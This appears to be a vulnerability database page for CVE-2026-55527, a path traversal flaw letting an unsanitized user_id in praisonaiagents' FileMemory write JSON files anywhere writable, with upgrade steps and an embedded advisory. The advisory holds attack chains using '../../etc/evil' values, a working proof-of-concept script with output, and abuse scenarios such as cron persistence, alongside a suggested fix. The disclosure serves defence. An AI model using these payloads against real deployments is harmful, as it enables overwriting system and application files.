CVE-2026-55527: Praisonaiagents Path Traversal Vulnerability
HIGHCVE-2026-55527 is a HIGH (CVSS 7.1) path traversal vulnerability (CWE-73: External Control of File Name or Path) affecting Praisonaiagents libraries in the PyPI ecosystem. The issue involves praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `filememory.__init__()` — path traversal to any writable location. Remediation is available by upgrading affected packages to version 1.6.58.
CVE-2026-55527 at a Glance
Security Impact
CVSS: 7.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L).
How to Fix CVE-2026-55527
To remediate this vulnerability, upgrade all affected Praisonaiagents dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install praisonaiagents>=1.6.58
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show praisonaiagents
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-55527, inspect your installed packages using pip:
pip show praisonaiagents
Analyze the terminal output to locate any version of Praisonaiagents in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.58), your application is affected.
Note: The pip show praisonaiagents command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In Praisonaiagents, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-55527 Affected Praisonaiagents Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
praisonaiagents
|
PyPI |
< 1.6.58
|
1.6.58
|
References
Frequently Asked Questions
What is CVE-2026-55527?
Which Praisonaiagents versions are affected?
What version fixes CVE-2026-55527?
Is praisonaiagents affected?
What is the CVSS score of CVE-2026-55527?
What CWE is associated with CVE-2026-55527?
How can I check PyPI dependencies for CVE-2026-55527?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-gxmw-5f7x-6g22",
"modified" : "2026-08-25T15:09:55Z",
"published" : "2026-08-25T15:09:54Z",
"aliases" : [ "CVE-2026-55527" ],
"summary" : "praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location",
"details" : "### Summary\n\n`praisonaiagents/memory/file_memory.py::FileMemory.__init__()` constructs all\nmemory file paths by directly joining the `user_id` parameter to a base path:\n\n```python\nself.user_path = self.base_path / user_id # LINE 145 — no sanitization\n```\n\nNo validation or normalization is applied to `user_id` before the path join.\nAn attacker who can supply a `user_id` containing `../` sequences can write\narbitrary JSON files (memory content) to **any writable location on the filesystem**.\n\nThe vulnerability is confirmed **live on the current `main` branch**\n(`praisonaiagents==1.6.52`) and is **distinct from GHSA-766v-q9x3-g744**\n(which covered `MultiAgentMonitor` in an example file, not `FileMemory` in the\ncore library).\n\n### Details\n\n**Vulnerable code — `praisonaiagents/memory/file_memory.py` lines 139-157:**\n\n```python\ndef __init__(\n self,\n user_id: str = \"default\",\n base_path: Optional[str] = None,\n ...\n):\n ...\n self.user_path = self.base_path / user_id # LINE 145 — NO SANITIZATION\n self.episodic_path = self.user_path / \"episodic\"\n\n self.user_path.mkdir(parents=True, exist_ok=True) # creates dirs at traversed path\n self.episodic_path.mkdir(parents=True, exist_ok=True)\n\n self.config_file = self.user_path / \"config.json\"\n self.short_term_file = self.user_path / \"short_term.json\"\n self.long_term_file = self.user_path / \"long_term.json\"\n self.entities_file = self.user_path / \"entities.json\"\n self.summaries_file = self.user_path / \"summaries.json\"\n```\n\nAll five JSON files are written under `user_path`, which is directly derived from\nthe attacker-controlled `user_id`. The written content is valid JSON in the memory\nitem format (configurable user content + metadata).\n\n**Comparison with the patched reference — `praisonaiagents/storage/backends.py`\n(SQLiteBackend):**\n\nThe sibling `SQLiteBackend` validates its `table_name` with a regex:\n```python\nif not re.match(r'^[a-zA-Z0-9_]+$', table_name):\n raise ValueError(...)\n```\nNo equivalent validation exists in `FileMemory`.\n\n**Attack chains:**\n\n*A — Direct Python API (any caller):*\n```python\nfrom praisonaiagents.memory.file_memory import FileMemory\n\nmem = FileMemory(user_id=\"../../etc/evil\")\nmem.add_short_term(\"injected content\")\n# Creates /etc/evil/short_term.json (on Linux)\n# Creates C:\\evil\\short_term.json (on Windows)\n```\n\n*B — Via `Agent` constructor (memory dict):*\n```python\nfrom praisonaiagents import Agent\n\nagent = Agent(\n name=\"assistant\",\n memory={\"provider\": \"file\", \"user_id\": \"../../etc/evil\"},\n instructions=\"You are a helpful assistant.\",\n)\n# FileMemory(user_id=\"../../etc/evil\") called at agent init\n```\n\n*C — Via agents.yaml / job submission (`agent_yaml` field):*\n```yaml\n# Submitted via POST /jobs with agent_yaml:\nagents:\n researcher:\n memory:\n provider: file\n user_id: \"../../tmp/evil\"\n role: \"Research assistant\"\n goal: \"Research topics\"\n```\n`agents_generator.py` passes the `memory.user_id` value to the `Agent` constructor.\n\n### PoC\n\n**Environment:** Python 3.9+, `praisonaiagents <= 1.6.52`\n\n**Step 1 — Verify path escapes base (no dependencies needed):**\n\n```python\nfrom pathlib import Path\nimport tempfile\n\nbase = Path(tempfile.gettempdir()) / \"praisonai\" / \"memory\"\nuser_id = \"../../../tmp/evil_escape\"\nuser_path = base / user_id\n\ntry:\n user_path.resolve().relative_to(base.resolve())\n print(\"SAFE\")\nexcept ValueError:\n print(\"!!PATH ESCAPES BASE!!\")\n print(\"Writes to:\", user_path.resolve())\n```\n\nOutput:\n```\n!!PATH ESCAPES BASE!!\nWrites to: <TMPDIR>/tmp/evil_escape\n```\n\n**Step 2 — Live exploit (files written outside base):**\n\n```python\nimport tempfile, json\nfrom pathlib import Path\nfrom praisonaiagents.memory.file_memory import FileMemory\n\nBASE = Path(tempfile.gettempdir()) / \"praisonai_base\" / \"memory\"\nBASE.mkdir(parents=True, exist_ok=True)\n\nTARGET = (BASE / \"../../praisonai_path_traversal_proof\").resolve()\n\nmem = FileMemory(user_id=\"../../praisonai_path_traversal_proof\", base_path=str(BASE))\nmem.add_short_term(\"PROOF_OF_TRAVERSAL: attacker wrote this\")\nmem.add_long_term(\"SENSITIVE_DATA\", importance=0.9)\n\n# Verify files appeared OUTSIDE the base directory\nfor fname in [\"short_term.json\", \"long_term.json\", \"config.json\"]:\n f = TARGET / fname\n if f.exists():\n print(f\"WRITTEN: {f}\")\n print(f\"Content: {json.loads(f.read_text())[0]['content'] if fname != 'config.json' else '...'}\")\n```\n\n**Observed output (run on current `main`):**\n```\nWRITTEN: <TMPDIR>/praisonai_path_traversal_proof/short_term.json\nContent: PROOF_OF_TRAVERSAL: attacker wrote this\nWRITTEN: <TMPDIR>/praisonai_path_traversal_proof/long_term.json\nContent: SENSITIVE_DATA\nWRITTEN: <TMPDIR>/praisonai_path_traversal_proof/config.json\n```\n\n### Impact\n\n**What kind of vulnerability:** Arbitrary file write via path traversal.\nAny JSON content can be written to any filesystem path writable by the process.\n\n**Who is impacted:**\n\n- Any application that creates `FileMemory` instances with user-controlled `user_id`\n- Any PraisonAI deployment where users can supply the `user_id` parameter directly\n or indirectly (via `Agent(memory={\"user_id\": ...})`, agents.yaml, or jobs API)\n\n**High-impact scenarios:**\n\n1. **Overwrite Python package files**: On systems where Python packages are stored\n in a world-writable or user-writable path, JSON files can be written over package\n files, causing import failures or (in edge cases) execution if a JSON parser is\n swapped for a Python parser.\n\n2. **Overwrite web server / app config**: Write `config.json` or `settings.json`\n to an app's configuration directory, potentially modifying runtime behavior.\n\n3. **Cron / startup persistence**: Write JSON files to `/etc/cron.d/` paths\n (Linux) or `%APPDATA%\\Startup\\` (Windows) directories that might be interpreted\n by monitoring systems.\n\n4. **Denial of Service**: Write large JSON memory files into system directories,\n filling disk space or overwriting critical config files.\n\n5. **Multi-tenant deployments**: In a multi-tenant PraisonAI deployment where\n users can create agents with custom memory configs, one user can read/overwrite\n another user's memory files by traversing to their path.\n\n**Distinction from GHSA-766v-q9x3-g744:**\n\n| | GHSA-766v-q9x3-g744 | This finding |\n|---|---|---|\n| File | `examples/context/12_multi_agent_context.py` (example) | `praisonaiagents/memory/file_memory.py` (core library) |\n| Class | `MultiAgentMonitor` | `FileMemory` |\n| Fixed in | `praisonaiagents >= 1.5.115` | **Not patched** (affects 1.6.52) |\n```\n\n---\n\n## Remediation Suggestion (for maintainers)\n\nValidate and resolve `user_id` before using it in path construction:\n\n```python\ndef __init__(self, user_id: str = \"default\", base_path=None, ...):\n ...\n # ADDED: sanitize user_id\n import re\n if not re.match(r'^[a-zA-Z0-9_\\-\\.]+$', user_id):\n raise ValueError(\n f\"user_id '{user_id}' contains invalid characters. \"\n f\"Only alphanumeric characters, hyphens, underscores, and dots are allowed.\"\n )\n\n self.user_path = self.base_path / user_id\n\n # ADDED: verify the resolved path is within base (defense-in-depth)\n resolved = self.user_path.resolve()\n base_resolved = self.base_path.resolve()\n try:\n resolved.relative_to(base_resolved)\n except ValueError:\n raise ValueError(\n f\"user_id '{user_id}' would write outside the base memory directory.\"\n )\n```\n\nThe same pattern should be applied to `base_path` parameter.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "praisonaiagents"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.6.58"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gxmw-5f7x-6g22"
}, {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/MervinPraison/PraisonAI"
}, {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22", "CWE-73" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-08-25T15:09:54Z",
"nvd_published_at" : null
}
}